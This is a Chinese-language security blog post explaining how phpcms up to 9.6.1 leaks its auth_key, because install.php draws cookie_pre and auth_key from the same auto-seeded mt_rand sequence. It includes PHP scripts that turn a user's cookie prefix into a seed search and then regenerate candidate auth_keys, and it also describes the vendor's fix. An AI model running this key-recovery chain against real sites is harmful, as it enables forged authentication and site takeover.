phpcms某处漏洞致auth_key泄漏(version<=9.6.1)

0x00.前言

这个漏洞的成因其实就是php的随机数的安全性,在说这个漏洞之前我们需要了解下以下几个点。

  • 在php中生成随机数一般使用mt_rand()和rand()两个函数,在使用这两个函数前,需要使用对应的srand() 和 mt_srand()播种函数获得随机数种子。

  • 经过测试发现在使用同一种子产生随机数时,生成的随机数序列是一定的,也就是说在我们获取了这个种子时,就可以获取到产生的随机数序列。

  • 在 php > 4.2.0 的版本中,不再需要手动用srand() 或 mt_srand() 函数给随机数发生器播种了,因为现在是由系统自动完成的。也就是说随机数种子不用我们给了(当然我们也可以自己设定)。


0x01.漏洞分析

看了以上三点,让我们回到这个漏洞本身来。首先让我们来看看漏洞代码:
install.php

可以看到这里的$cookie_pre和$auth_key在安装时随机产生,跟进random函数

用到了mt_rand(),可以看到整个流程并没有手动使用mt_srand()播种,是采用了自动播种。

而自动播种种子是指的是在多次调用 mt_rand()函数产生随机数序列,只会播种一次种子,也就是说产生$cookie_pre和$auth_key的种子是一致的,当我们获取到了这个种子时,就可以爆破出auth_key了,那么怎么获取这个种子呢?也许说到这里你还不是太能理解,那么接着看接下来的漏洞利用吧。


0x02.漏洞利用

void mt_srand ( int $seed ) 

这是官方给出的mt_srand()函数的用法,$seed是一个int,最大值为2147483647.但我们同样可以是传入大于2147483647或者小于-2147483647的值,这时mt_srand会自动处理转化为int范围里的值,具体转化如下:

这就说明随机播种的种子是存在一个范围内,是允许我们进行爆破的,国外有人已经用c写了一个爆破种子程序,我们可以直接用:

http://www.openwall.com/php_mt_seed/

要想获取种子,我们得先有一个产生的随机数列,通过这个数列去反向爆破可能的种子,随机数列的长度越大,我们爆破获得的种子个数应该更小,更接近真正的seed。在这里这个随机数列就是cookie_pre。
想要获取cookie_pre很容易,前台注册用户(跟管理员用户一样),登录查看cookie即可:

cookie_pre=’EbPGc’
直接使用脚本转化为生成的随机数序列:

<?php
$str = "EbPGc";
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)."   ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX[RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

获得序列:

利用php_mt_seed去爆破出可能的种子:

获得了七个可能种子,在利用这七个种子分别去手工播种,获得auth_key的序列(这里从数组里取出是string,不用intval,会自动转成int):

<?php
function random($length, $chars = '0123456789') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
$a=array('659416197','1040348296','2206635608','2314602866','2614173087','3554883387','3564275591');
//print_r($a);
for($i = 0;$i < count($a); $i++){
    //$sead=intval($a[$i]);
    mt_srand($a[$i]);
    //var_dump(intval($a[$i]));
    $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
    $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
    echo $a[$i]." ".$cookie_pre." ".$auth_key."\n";
}
?>

每个种子对应的cookie_pre和auth_key:

最后让我们来对比下本地配置文件里的auth_key:

可以看到和我们crack出来的第四个序列是一样的,拿到auth_key就可以干很多事咯。


0x03.后记

最后让我们再来看看最新版(9.6.2)的官方修复方式:

在每一次使用mt_rand生成序列时都手工使用mt_srand()播种一次,这样生成cookie_pre和auth_key的种子几乎不可能一样了,自然漏洞就不存在了。


关于更多php的随机数的安全性细节可参看:
http://wonderkun.cc/index.html/

发表评论

电子邮件地址不会被公开。 必填项已用*标注